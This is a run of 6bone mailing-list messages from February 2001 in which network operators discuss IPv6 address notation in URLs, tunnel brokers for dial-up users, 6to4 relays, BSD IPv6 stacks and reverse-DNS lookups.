From 6bone-owner  Thu Feb 15 10:02:08 2001
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Date: Thu, 15 Feb 2001 13:01:57 -0500 (EST)
From: Andrew Hobgood <chaos@strange.net>
To: Antonio Querubin <tony@lava.net>
Cc: <6bone@ISI.EDU>
Subject: Re: denoting IPv6 addresses and ports 
In-Reply-To: <Pine.BSI.4.30.0102150140101.7263-100000@malasada.lava.net>
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> I suspect there's a fair number of folks working in the tech support field
> who would disagree with you.  Perhaps you don't do spend a significant
> amount of time troubleshooting combined httpd/DNS problems for customers.
> On a number of occasions I've had a need to explicitly specify an IP
> address and/or port in a URL.  Ensuring that one can continue to do so in
> an unambiguous way even with an IPv6 address only helps win acceptance of
> IPv6 by reducing the annoyance level.  While this standardization might
> seem dumb to you, I think it's important enough to at least some of us.

agreed wholeheartedly... also, as far as the RFC is concerned, it's pretty
explicit about formatting...

http://[3ffe:.....]:80/file.html

just put the IPv6 address in []'s, followed by a :port if you need it.
lynx recognizes this just fine, as do most other browsers with ipv6
support.

/Andrew


From 6bone-owner  Thu Feb 15 10:17:11 2001
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Date: Thu, 15 Feb 2001 08:17:01 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Robert Elz <kre@munnari.OZ.AU>
cc: <itojun@iijlab.net>, <wmaton@ryouko.dgim.crc.ca>, <6bone@ISI.EDU>
Subject: Re: denoting IPv6 addresses and ports 
In-Reply-To: <2149.982243346@brandenburg.cs.mu.OZ.AU>
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On Thu, 15 Feb 2001, Robert Elz wrote:

> I understand the need - it is the solution I disagree with.   This is
> just "we do it this way for IPv4, so let's also do it this way for
> IPv6" mentality.
>
> The right solution would be for the application name->address lookup
> routine to be able to look up a locally defined name (like in a file)
> as well as names in the DNS (essentially all implementations have this
> functionality anyway).

Uh, how is this 'right' solution any different from the "we do it this way
for IPv4, so let's also do it this way for IPv6" mentality?  And does it
make the task at hand any easier?  What if you're on a system where you
don't have administrative write access to the hosts table?



From 6bone-owner  Fri Feb 16 02:00:47 2001
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Date: Fri, 16 Feb 2001 18:7:16 +0800
From: ÂÀµÂÐñ <ludx@gsut.edu.cn>
Reply-To: ludx@gsut.edu.cn
To: "ipng@sunroof.eng.sun.com" <ipng@sunroof.eng.sun.com>
CC: "users@ipv6.org" <users@ipv6.org>,
        "snap-users@kame.net" <snap-users@kame.net>,
        "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Who has the experience in configurating the wu-ftpd+IPv6patch.
Organization: Gansu University of Technology NIC     tel:(0931£­2757939)
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Who has the experience in configurating the wu-ftpd+IPv6patch.Can you give me a configuration example.

Thanks.

rex.lv
            ludx@gsut.edu.cn


From 6bone-owner  Tue Feb 20 01:21:37 2001
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Message-ID: <01C09B26.DD45DE20.chris@arnes.si>
From: Chris van der Merwe <chris@arnes.si>
Reply-To: "chris@arnes.si" <chris@arnes.si>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: Connections to 6bone and Dante's IPv6 network...
Date: Tue, 20 Feb 2001 10:21:17 +0100
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Hi All;

Greetings from Slovenia Europe. I'm wondering if anyone on the list has any 
experience in connecting to both 6bone and Dante's IPv6 network. I'm 
interested in the differences between the two services, advantages, 
disadvantages etc. Any help would be appreciated.

Regards
  Chris


From 6bone-owner  Tue Feb 20 08:51:34 2001
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Date: Tue, 20 Feb 2001 08:51:05 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8170::/28 allocated to EDISONTEL
Cc: Bill Manning <bmanning@ISI.EDU>, Max Gargani <m.gargani@edisontel.it>
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EDISONTEL has been allocated pTLA 3FFE:8170::/28 having finished its 2-week 
review. Two comments were resolved with the Edisontel folk.

<http://whois.6bone.net/cgi-bin/whois?EDISONTEL>


Note that it will take a short while for their inet6num entry to appear in 
the 6bone registry as they have to create it themselves. However, their 
registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Thu Feb 22 08:10:55 2001
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From: "Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at>
To: chris@arnes.si
CC: 6bone@ISI.EDU, woeber@cc.univie.ac.at
Message-ID: <009F807A.D7BEFDEE.1@cc.univie.ac.at>
Subject: RE: Connections to 6bone and Dante's IPv6 network...
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  Hi Chris,

>Greetings from Slovenia Europe.

  Greetings from Austria *g*.

> I'm wondering if anyone on the list has
>any experience in connecting to both 6bone and Dante's IPv6 network. I'm
>interested in the differences between the two services, advantages,
>disadvantages etc. Any help would be appreciated.

  I'd say that this is not a one (x)or the other.

  A lot of people, sites and organisations try to build IPv6-protocol
  based networks or islands.
  
  The 6Bone is one name and project (deploying a certain set of address
  blocks) and a set of guidelines (i.e. routing configuration guidelines)
  to achieve that goal
  (those who do know more details about the history of the 6Bone are
   very welcome to correct me!).
  
  On the other hand DANTE is a company that manages a European R&D network
  (production, IPv4-based) _and_ is involved in some test development
  activities alongside with some European R&D networks and companies.
  
  One of those projects involves IPv6-related activities, in particular
  with the goal to interconnect as many european R&D networks as possible
  with IPv6, and doing so with addresses from the sTLA-space. To round it
  out, we are also looking (trying to look - time permitting) into DNS,
  routing, mobility, multi-homing, logistics....
  
  In case you are not aware of those activities and the framework to join,
  please get back to me privately.
  
  So, in the end, you (your network) would end up being connected to that
  part of the Internet that happens to use IPv6 protocols and technology.

  You/ARNES can certainly do that "on your own" by building a connection
  to the 6Bone and you would be more than welcome to join in with the
  TF-NGN IPv6 activities :-)

  Btw, to bridge the distance beween ARNES and e.g. ACOnet it just takes
  one hop on the TEN-155 ATM paths, or a couple of them to get access to
  SWITCH in Geneva or DFN in Frankfurt :-)

  Cheers,
  Wilfried.
 _________________________________:_____________________________________
  Wilfried Woeber                 : e-mail: Woeber@CC.UniVie.ac.at
  UniVie Computer Center - ACOnet : Tel: +43 1 4277 - 140 33
  Universitaetsstrasse 7          : Fax: +43 1 4277 - 9 140
  A-1010 Vienna, Austria, Europe  : RIPE-DB: WW144, PGP keyID 0xF0ACB369
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 6bone-owner  Thu Feb 22 11:27:10 2001
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Reply-To: "Todd Whipple" <twhipple@zama.net>
From: "Todd Whipple" <whipple@zama.net>
To: <users@ipv6.org>, <ngtrans@sunroof.eng.sun.com>, <6bone@ISI.EDU>
Subject: Technical White Papers
Date: Thu, 22 Feb 2001 11:26:53 -0800
Organization: Zama Networks, Inc.
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Zama Networks is pleased to have just released two technical documents on
how to implement IPF on Sun Solaris and implementing IPv4/IPv6 DNS on
Solaris.  You can check out these two PDF's on our v4/v6 website
(www.zamanetworks.com).  Hope you all find these to be useful.  There are
more documents to come in the near future.


Todd Whipple
VP of IPv6 Technologies
Zama Networks, Inc.
Seattle, Wa.
206-835-5314


From 6bone-owner  Thu Feb 22 19:16:41 2001
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	Fri, 23 Feb 2001 08:46:21 +0530
From: Raju Mathur <raju@linux-delhi.org>
Message-ID: <14997.54789.282080.286783@localhost.localdomain>
Date: Fri, 23 Feb 2001 08:46:21 +0530 (IST)
To: 6bone@ISI.EDU
Subject: Individual connections
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Hi,

I've been lurking on this list for a couple of weeks and have noticed
that most queries seem to come from ISP's and other service providers.

Does the 6bone encourage individual connections?  I'm an independent
consultant in India trying to get up to speed on IPv6 technologies so
that I can advise my current and future clients appropriately.  I'm
connected intermittently to the 'net through dial-up with a dynamic IP
address.  Are there any ``dial-up friendly'' providers who'd permit me
to tunnel to them using a changing IPv4 address on the 6bone?  Any
special considerations for someone in my position?

Regards,

-- Raju
-- 
Raju Mathur          raju@kandalaya.org           http://kandalaya.org/

From 6bone-owner  Thu Feb 22 21:14:50 2001
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      <14997.54789.282080.286783@localhost.localdomain>
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Subject: Re: Individual connections
From: itojun@iijlab.net
Date: Fri, 23 Feb 2001 14:14:28 +0900
Message-ID: <9270.982905268@coconut.itojun.org>
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>Does the 6bone encourage individual connections?  I'm an independent
>consultant in India trying to get up to speed on IPv6 technologies so
>that I can advise my current and future clients appropriately.  I'm
>connected intermittently to the 'net through dial-up with a dynamic IP
>address.  Are there any ``dial-up friendly'' providers who'd permit me
>to tunnel to them using a changing IPv4 address on the 6bone?  Any
>special considerations for someone in my position?

	did you try http://www.freenet6.net/ ?

itojun

From 6bone-owner  Thu Feb 22 22:01:28 2001
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Date: Thu, 22 Feb 2001 22:00:58 -0800 (PST)
From: Jason Martin <jhmartin@mail.com>
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To: Raju Mathur <raju@linux-delhi.org>
Cc: 6bone@ISI.EDU
Subject: Re: Individual connections
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

http://www.freenet6.net should be able to help you out -- they let you
create dynamic tunnels through a website application. You'll probably have
to redo the procedure every time you dial up, but it is a start.

- -Jason Martin

 On
Fri, 23 Feb 2001, Raju Mathur wrote:

> Hi,
> 
> I've been lurking on this list for a couple of weeks and have noticed
> that most queries seem to come from ISP's and other service providers.
> 
> Does the 6bone encourage individual connections?  I'm an independent
> consultant in India trying to get up to speed on IPv6 technologies so
> that I can advise my current and future clients appropriately.  I'm
> connected intermittently to the 'net through dial-up with a dynamic IP
> address.  Are there any ``dial-up friendly'' providers who'd permit me
> to tunnel to them using a changing IPv4 address on the 6bone?  Any
> special considerations for someone in my position?
> 
> Regards,
> 
> -- Raju
> 

- -- 
And it's only ones and zeros.
PGP KeyID=0xEA954813 available from keyservers.
Fingerprint:3B07 518C D76E 572F 7DAA  88A5 9763 835A EA95 4813
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org
Filter: gpg4pine 4.1 (http://azzie.robotics.net)

iQEMBAERAgDMBQI6lfysnRSAAAAAAAgAjEdlZWtDb2RlIkdDUyBkLSBzKzogYS0t
IEMrKyBVTCsrKysgUCsrIEwrKysgRS0tLSBXKysrIE4rKyBvLS0gSy0gdy0tLSBP
LSBNLS0gVi0tIFBTKysgUEUgWSsrKyBQR1ArKysgdCsrKyA1KysgWCsgUiB0disg
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bm8SFIAAAAAABgADTm9va2lleWVzAAoJEJdjg1rqlUgTstgAn1B9xprXF5vWiLFu
2W8CqReNJfYKAKCd3YOnnVFV7mhujAMO0BaFnQpCRg==
=S0SM
-----END PGP SIGNATURE-----


From 6bone-owner  Fri Feb 23 03:40:38 2001
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Cc: 6bone@ISI.EDU
Subject: Re: Individual connections
References: <14997.54789.282080.286783@localhost.localdomain>
From: Alexandru Petrescu <Alexandru_Petrescu-AAP021@email.mot.com>
Date: 23 Feb 2001 12:24:38 +0100
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Raju Mathur <raju@linux-delhi.org> writes:
> Are there any ``dial-up friendly'' providers who'd permit me to
> tunnel to them using a changing IPv4 address on the 6bone?

Yes, they maintain "automatic tunnels".  freenet6.net is probably the
first to put one in place but their allocation lasts 1 day only, if I
remember correctly.  Uninett (somewhere in Norway) would assign a
permanent tunnel for you and you would control it (up and down), but
you need a fixed ipv4 address (you can probably manage that with your
ISP).  There's another in Belgium, named Euronet*Internet at
www.ipv6.euronet.be, of which I have no experience.

And then you have 6to4 public relay routers.  If you can't get a fixed
v4 address then this is the way to go.  You need a FreeBSD or Linux or
Cisco endpoint.  Your ipv6 address will change each time you dial-up,
so you won't be reachable by others.

Alex


From 6bone-owner  Fri Feb 23 05:47:06 2001
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From: "Joris Dobbelsteen" <joris.dobbelsteen@mail.com>
To: "6Bone (E-mail)" <6Bone@ISI.EDU>
Subject: RE: denoting IPv6 addresses and ports
Date: Sun, 18 Feb 2001 18:34:06 +0100
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>-----Original Message-----
>From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of
>itojun@iijlab.net
>Sent: Thursday, 15 February 2001 1:45
>To: wmaton@ryouko.dgim.crc.ca
>Cc: 6bone@ISI.EDU
>Subject: Re: denoting IPv6 addresses and ports
>
>
>
>>expresses an IPv6 literal for a URL, while writting this:
>>	 [3ffe:456:45e::34]:23
>>would be clear to someone as meaning the telnet port at address
>>3ffe:456:45e::34?
>
>	though there are uses like above in some configuration files for
>	softwares, i personally don't think it too widely accepted.
>	I'd write:
>		3ffe:456:45e::34 port 23
>
>itojun
>

The style to send IPv6 addresses was (BNF-like format):

IPv6-in-URL = "[" IPv6-Addr "]" [ ":" Port ]
IPv6-Addr = ... You know...
Port = 1*digit

This style was a requirement. As for HTTP-WG where such questions was, it's
not allowed to send IPv6 addresses without the "[" "]" surrounding it.
Probably a flexible IPv6 Address interpreter can still read these.


- Joris


From 6bone-owner  Fri Feb 23 07:35:22 2001
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From: <ian@thornlea.net>
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Subject: 6bone attachement request (england)
Date: Fri, 23 Feb 2001 13:28:17 -0000
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Sheffield Hallam University is a University in the north of England. =
They are looking to join the 6bone project to allow experimentation with =
IPv6 services by staff and students. I have already attempted to contact =
JANET who would seem the most obvious choice for a tunnel point, but =
have not received a reply after several weeks. If there is anyone in =
England / connected to JANET who would be willing to provide a tunnel / =
small amount of address space please could you contact me off-list.

SHU's current IPv4 information is as follows:

inetnum:     143.52.0.0 - 143.52.255.255
netname:     SCP
descr:       Sheffield Hallam University
country:     GB
admin-c:     JMT19-RIPE
tech-c:      DH159-RIPE
changed:     hostmaster@shu.ac.uk 19960313
changed:     ripe-dbm@ripe.net 19990706
changed:     ripe-dbm@ripe.net 20000225
source:      RIPE


route:       143.52.0.0/15
descr:       JANET
descr:       c/o ULCC
descr:       20 Guilford Street
descr:       London
descr:       WC1N 1DZ
descr:       UNITED KINGDOM
origin:      AS786
advisory:    AS690 1:1800 2:1133 3:1239 4:3561
mnt-by:      JIPS-NOSC
changed:     selina@ans.net 19951011
source:      RIPE


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http-equiv=3DContent-Type>
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Sheffield Hallam University is a =
University in the=20
north of England. They are looking to join the 6bone project to allow=20
experimentation with IPv6 services by staff and students. I have already =

attempted to contact JANET who would seem the most obvious choice for a =
tunnel=20
point, but have not received a reply after several weeks. If there is =
anyone in=20
England / connected to JANET who would be willing to provide a tunnel / =
small=20
amount of address space please could you contact me =
off-list.<BR><BR>SHU's=20
current IPv4 information is as =
follows:<BR><BR>inetnum:&nbsp;&nbsp;&nbsp;&nbsp;=20
143.52.0.0 - 143.52.255.255<BR>netname:&nbsp;&nbsp;&nbsp;&nbsp;=20
SCP<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sheffield Hallam=20
University<BR>country:&nbsp;&nbsp;&nbsp;&nbsp;=20
GB<BR>admin-c:&nbsp;&nbsp;&nbsp;&nbsp;=20
JMT19-RIPE<BR>tech-c:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
DH159-RIPE<BR>changed:&nbsp;&nbsp;&nbsp;&nbsp; <A=20
href=3D"mailto:hostmaster@shu.ac.uk">hostmaster@shu.ac.uk</A>=20
19960313<BR>changed:&nbsp;&nbsp;&nbsp;&nbsp; <A=20
href=3D"mailto:ripe-dbm@ripe.net">ripe-dbm@ripe.net</A>=20
19990706<BR>changed:&nbsp;&nbsp;&nbsp;&nbsp; <A=20
href=3D"mailto:ripe-dbm@ripe.net">ripe-dbm@ripe.net</A>=20
20000225<BR>source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
RIPE<BR><BR><BR>route:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
143.52.0.0/15<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
JANET<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; c/o=20
ULCC<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 20 Guilford=20
Street<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
London<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WC1N=20
1DZ<BR>descr:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; UNITED=20
KINGDOM<BR>origin:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
AS786<BR>advisory:&nbsp;&nbsp;&nbsp; AS690 1:1800 2:1133 3:1239=20
4:3561<BR>mnt-by:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
JIPS-NOSC<BR>changed:&nbsp;&nbsp;&nbsp;&nbsp; <A=20
href=3D"mailto:selina@ans.net">selina@ans.net</A>=20
19951011<BR>source:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
RIPE<BR></FONT></DIV></BODY></HTML>

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From 6bone-owner  Fri Feb 23 09:07:17 2001
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From: Raju Mathur <raju@linux-delhi.org>
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Date: Fri, 23 Feb 2001 22:36:43 +0530 (IST)
To: 6bone@ISI.EDU
Subject: Re: Individual connections
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Hi Itojun,

Thanks for the link, it works beautifully.  I'm still looking for a
more ``permanent'' connection to the 6bone, though... will work with
freenet6 until I get that.

Regards,

-- Raju

>>>>> "itojun" == itojun  <itojun@iijlab.net> writes:

    >> Does the 6bone encourage individual connections?  I'm an
    >> independent consultant in India trying to get up to speed on
    >> IPv6 technologies so that I can advise my current and future
    >> clients appropriately.  I'm connected intermittently to the
    >> 'net through dial-up with a dynamic IP address.  Are there any
    >> ``dial-up friendly'' providers who'd permit me to tunnel to
    >> them using a changing IPv4 address on the 6bone?  Any special
    >> considerations for someone in my position?

    itojun> 	did you try http://www.freenet6.net/ ?

    itojun> itojun

-- 
Raju Mathur          raju@kandalaya.org           http://kandalaya.org/

From 6bone-owner  Fri Feb 23 10:44:18 2001
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From: ipv6@mediacentral.com.au
Subject: Re: Individual connections
Cc: raju@linux-delhi.org
In-Reply-To: <m3lmqxfxqh.fsf@riri.crm.mot.com>
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At 12:24 PM 23/02/2001 +0100, Alexandru Petrescu wrote:
>Raju Mathur <raju@linux-delhi.org> writes:
> > Are there any ``dial-up friendly'' providers who'd permit me to
> > tunnel to them using a changing IPv4 address on the 6bone?
>
>Yes, they maintain "automatic tunnels".  freenet6.net is probably the
>first to put one in place but their allocation lasts 1 day only, if I
>remember correctly.

Unless Freenet6 has changed in the past 2 months, it use to be: they would 
ping you twice a week, and if both pings failed they would removed the 
tunnel. Freenet6 is a good place for testing short term, but they often 
have internal problems, or get abused.

>   Uninett (somewhere in Norway) would assign a
>permanent tunnel for you and you would control it (up and down), but
>you need a fixed ipv4 address (you can probably manage that with your
>ISP).  There's another in Belgium, named Euronet*Internet at
>www.ipv6.euronet.be, of which I have no experience.

There is a list of the more popular tunnel brokers at http://hs247.com 
(shamless plug) some are dynamic IPv4, others require perm connection and 
static IP address. The recommended ranking comes from personal experience, 
and user comments made about the tunnel broker.

If you can manage to get a static IPv4 address out of your ISP, you should 
be able to use the country by country IPv6 provider list, to find your 
closest uplink. The fact you use a dialup modem should not worry the 
provider. After all it is a static tunnel.

>And then you have 6to4 public relay routers.  If you can't get a fixed
>v4 address then this is the way to go.  You need a FreeBSD or Linux or
>Cisco endpoint.  Your ipv6 address will change each time you dial-up,
>so you won't be reachable by others.

Microsoft run a public 6to4 relay router, which works regardless of OS 
type. The IPv6 address in this case is made up of your IPv4 address, if you 
have a static IPv4 address, your 6to4 address will not change.

Tom...


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>Does the 6bone encourage individual connections?  I'm an independent
>consultant in India trying to get up to speed on IPv6 technologies so
>that I can advise my current and future clients appropriately.  I'm
>connected intermittently to the 'net through dial-up with a dynamic IP
>address.  Are there any ``dial-up friendly'' providers who'd permit me
>to tunnel to them using a changing IPv4 address on the 6bone?  Any
>special considerations for someone in my position?

	did you try http://www.freenet6.net/ ?

itojun

From 6bone-owner  Fri Feb 23 22:45:42 2001
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Subject: Re: Individual connections
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From: Alexandru Petrescu <Alexandru_Petrescu-AAP021@email.mot.com>
Date: 23 Feb 2001 12:24:38 +0100
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Raju Mathur <raju@linux-delhi.org> writes:
> Are there any ``dial-up friendly'' providers who'd permit me to
> tunnel to them using a changing IPv4 address on the 6bone?

Yes, they maintain "automatic tunnels".  freenet6.net is probably the
first to put one in place but their allocation lasts 1 day only, if I
remember correctly.  Uninett (somewhere in Norway) would assign a
permanent tunnel for you and you would control it (up and down), but
you need a fixed ipv4 address (you can probably manage that with your
ISP).  There's another in Belgium, named Euronet*Internet at
www.ipv6.euronet.be, of which I have no experience.

And then you have 6to4 public relay routers.  If you can't get a fixed
v4 address then this is the way to go.  You need a FreeBSD or Linux or
Cisco endpoint.  Your ipv6 address will change each time you dial-up,
so you won't be reachable by others.

Alex


From 6bone-owner  Sat Feb 24 12:58:52 2001
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From: "NDSoftware" <extml@ndsoftware.net>
To: <6bone@ISI.EDU>
Subject: xBSD and IPv6
Date: Sat, 24 Feb 2001 22:02:06 +0100
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Hi,
1/
What's the best BSD for IPv6 ?
FreeBSD, OpenBSD, NetBSD,... ?
It's for a router/firewall.

2/
With a xBSD, can i do that:

Internet Connection
|
|- IPv4
\
 \-IPv6

eth0: Internet Connection (Input)
eth1: only IPv4
eth2: only IPv6

I want forward from Internet Connection Ipv4 traffic on eth1 and IPv6
traffic on eth2...
I thinks yes, because i have a server with IPv4/IPv6 but without traffic
forward...
If it's possible, have you how-to for this ?

3/
How i can have on RedHat 6.2 with IPv6 support:
Apache 1.3.17 + OpenSSL/ModSSL + PHP4 ?
I want compile it because i need specify option for php...
My Apache must accessible in IPv4 and IPv6...

Thanks very much.

Nicolas DEFFAYET, NDSoftware
http://www.ndsoftware.net - ndsoftware@ndsoftware.net
France: Tel +33 671887502 - Fax N/A
UK: Tel +44 8453348750 - Fax +44 8453348751
USA: Tel N/A - Fax N/A
---
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From 6bone-owner  Sat Feb 24 17:09:32 2001
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Date: Sun, 25 Feb 2001 02:09:20 +0100
From: Feico Dillema <feico@pasta.cs.uit.no>
To: NDSoftware <extml@ndsoftware.net>
Cc: 6bone@ISI.EDU
Subject: Re: xBSD and IPv6
Message-ID: <20010225020920.A3640@pasta.cs.uit.no>
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On Sat, Feb 24, 2001 at 10:02:06PM +0100, NDSoftware wrote:
> 1/
> What's the best BSD for IPv6 ?
> FreeBSD, OpenBSD, NetBSD,... ?
> It's for a router/firewall.
They all use the Kame IPv6 stack (www.kame.net), but NetBSD integrated
IPv6 the longest time ago and has therefor a very stable IPv6 stack
and has the most userland support for IPv6. If you need stability
choose NetBSD-1.5. If you need the latest experimental IPv6 features
to play with for research purposes or thelike, get the latest kame
snapshot for either NetBSD or FreeBSD. I personally have used both
NetBSD and FreeBSD with IPv6, but all our routers now run NetBSD-1.5.
It just works, and the support from the NetBSD crowd wrt IPv6 is
excellent.

> 2/
> With a xBSD, can i do that:
> 
> Internet Connection
> |
> |- IPv4
> \
>  \-IPv6
> 
> eth0: Internet Connection (Input)
> eth1: only IPv4
> eth2: only IPv6
Yeah, sure. No problem. Just assign only IPv4 address to eth1 and only
IPv6 address to eth2.

> 3/
> How i can have on RedHat 6.2 with IPv6 support:
> Apache 1.3.17 + OpenSSL/ModSSL + PHP4 ?
> I want compile it because i need specify option for php...
> My Apache must accessible in IPv4 and IPv6...
I have gotten Redhat to run with IPv6 once. It wasn't fun. I won't do
it again for a while. Cannot help you there, but maybe you want to
check out the USAGI project (do a search for its URL, or dig in the
archives of this list or the ipng list) that aims at improving the
IPv6 support for Linux.

Feico.

From 6bone-owner  Sat Feb 24 17:38:19 2001
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To: "NDSoftware" <extml@ndsoftware.net>
cc: 6bone@ISI.EDU
In-reply-to: extml's message of Sat, 24 Feb 2001 22:02:06 +0100.
      <PEEFLAHPLCHECPIMNLAMOEJOEAAA.extml@ndsoftware.net>
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Subject: Re: xBSD and IPv6
From: itojun@iijlab.net
Date: Sun, 25 Feb 2001 10:38:05 +0900
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>Hi,
>1/
>What's the best BSD for IPv6 ?
>FreeBSD, OpenBSD, NetBSD,... ?
>It's for a router/firewall.

	all four (above 3 and BSD/OS) shares the same IPv6 codebase,
	however, integration status is slightly different from each other.
	basically you can pick any of them, based on your preference.

	if you need specific functionality to be available,
	http://www.kame.net/dev/cvsweb.cgi/kame/COVERAGE
	http://www.kame.net/dev/cvsweb.cgi/kame/IMPLEMENTATION
	will give you some idea about which functionality is in which
	operating system (may be way too detailed...).

>2/
>With a xBSD, can i do that:
>
>Internet Connection
>|
>|- IPv4
>\
> \-IPv6
>
>eth0: Internet Connection (Input)
>eth1: only IPv4
>eth2: only IPv6

	you can easily do that, just do not assign addresses, and do not
	configure routes, to interfaces which you do not need IPv4 (or IPv6).
	if you really really want to make it sure, you can filter the traffic
	out by packet filters.

>3/
>How i can have on RedHat 6.2 with IPv6 support:
>Apache 1.3.17 + OpenSSL/ModSSL + PHP4 ?
>I want compile it because i need specify option for php...
>My Apache must accessible in IPv4 and IPv6...

	i believe it is not possible, because of conflicting changes
	between IPv6 patch and ModSSL/PHP4 patch.  see:
	http://www.kame.net/dev/cvsweb.cgi/apache13/README.v6?rev=1.27&cvsroot=apps

>>CAVEAT: This patchkit may change some of apache module API, to avoid
>>IPv4-dependent structure member variable.  Please let us know if there's
>>any troubles as we know very little about the apache module API.

itojun

From 6bone-owner  Mon Feb 26 00:37:07 2001
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Cc: 6bone@ISI.EDU
Subject: Re: Individual connections
References: <14997.54789.282080.286783@localhost.localdomain>
	<14997.54789.282080.286783@localhost.localdomain>
	<4.3.2.7.2.20010224053723.00b5b4c0@pop3.norton.antivirus>
From: Alexandru Petrescu <Alexandru_Petrescu-AAP021@email.mot.com>
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I wrote:
> >You need a FreeBSD or Linux or Cisco endpoint.  Your ipv6 address
> >will change each time you dial-up, so you won't be reachable by
> >others.
Tom <ipv6@mediacentral.com.au> followed-up:
> Microsoft run a public 6to4 relay router, which works regardless of OS
> type.

Sure Tom, protocols are (or are supposed to be) OS-independent.  What
I meant was that, in my understanding, endpoints must support a
specific address selection scheme and I had positive experiences with
Linux.  I know FreeBSD and Cisco also do it but I've never got
involved with Microsoft's Windows stack which could potentially
implement the 2002 address selection as well.

Thank you for the pointer to the list of automatic tunnels, very
useful.

Alex


From 6bone-owner  Mon Feb 26 04:04:35 2001
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How to remove me from the list?

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From 6bone-owner  Mon Feb 26 05:04:54 2001
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hi!
Should these commands work (if the DNS is correct setup)?
dig f.0.0.f.f.0.0.f.f.0.0.f.f.0.0.f.f.0.0.f.9.2.0.0.0.0.2.0.e.f.f.3.ip6.int ns
dig f.0.0.f.f.0.0.f.f.0.0.f.f.0.0.f.f.0.0.f.9.2.0.0.0.0.2.0.e.f.f.3.ip6.int ptr

//Niklas


From 6bone-owner  Mon Feb 26 06:50:40 2001
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On Mon, 26 Feb 2001, [iso-8859-1] Niklas Höglund wrote:

> hi!
> Should these commands work (if the DNS is correct setup)?
> dig f.0.0.f.f.0.0.f.f.0.0.f.f.0.0.f.f.0.0.f.9.2.0.0.0.0.2.0.e.f.f.3.ip6.int ns
> dig f.0.0.f.f.0.0.f.f.0.0.f.f.0.0.f.f.0.0.f.9.2.0.0.0.0.2.0.e.f.f.3.ip6.int ptr
> 
> //Niklas
> 
No, but this does:
dig ptr 5.9.5.6.0.b.e.f.f.f.0.2.0.0.a.0.0.0.0.0.8.0.0.0.1.0.1.2.e.f.f.3.ip6.int.

; <<>> DiG 9.1.0 <<>> ptr
5.9.5.6.0.b.e.f.f.f.0.2.0.0.a.0.0.0.0.0.8.0.0.0.1.0.1.2.e.f.f.3.ip6.int.
;; global options:  printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47357
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1

;; QUESTION SECTION:
;5.9.5.6.0.b.e.f.f.f.0.2.0.0.a.0.0.0.0.0.8.0.0.0.1.0.1.2.e.f.f.3.ip6.int.
IN PTR

;; ANSWER SECTION:
5.9.5.6.0.b.e.f.f.f.0.2.0.0.a.0.0.0.0.0.8.0.0.0.1.0.1.2.e.f.f.3.ip6.int.
86400 IN PTR cass18.ast.ipv6.cam.ac.uk.

;; AUTHORITY SECTION:
8.0.0.0.1.0.1.2.e.f.f.3.ip6.int. 86400 IN NS    cadsa.ast.ipv6.cam.ac.uk.

;; ADDITIONAL SECTION:
cadsa.ast.ipv6.cam.ac.uk. 86400 IN      AAAA
3ffe:2101:8:0:280:d8ff:fe10:51f3

;; Query time: 28 msec
;; SERVER: 131.111.69.186#53(131.111.69.186)
;; WHEN: Mon Feb 26 14:48:37 2001
;; MSG SIZE  rcvd: 176

Cheers,
	Pete.


From 6bone-owner  Mon Feb 26 14:06:31 2001
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Date: Tue, 27 Feb 2001 09:05:56 +1100
To: Alexandru Petrescu <Alexandru_Petrescu-AAP021@email.mot.com>
From: ipv6@mediacentral.com.au
Subject: Re: Individual connections
Cc: 6bone@ISI.EDU
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At 09:36 AM 26/02/2001 +0100, Alexandru Petrescu wrote:
>I know FreeBSD and Cisco also do it but I've never got
>involved with Microsoft's Windows stack which could potentially
>implement the 2002 address selection as well.

The MS Stack supports 6to4 very well, including 1 command configuration to 
their public relay router, or the ability to manually configure.

http://msdn.microsoft.com/downloads/sdks/platform/tpipv6/start.asp covers 
the 6to4 command if you are interested in looking at how the windows stack 
works with 6to4.

Tom...
IPv6 Info/Links
http://hs247.com


From 6bone-owner  Tue Feb 27 08:40:50 2001
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Date: Tue, 27 Feb 2001 09:05:56 +1100
To: Alexandru Petrescu <Alexandru_Petrescu-AAP021@email.mot.com>
From: ipv6@mediacentral.com.au
Subject: Re: Individual connections
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At 09:36 AM 26/02/2001 +0100, Alexandru Petrescu wrote:
>I know FreeBSD and Cisco also do it but I've never got
>involved with Microsoft's Windows stack which could potentially
>implement the 2002 address selection as well.

The MS Stack supports 6to4 very well, including 1 command configuration to 
their public relay router, or the ability to manually configure.

http://msdn.microsoft.com/downloads/sdks/platform/tpipv6/start.asp covers 
the 6to4 command if you are interested in looking at how the windows stack 
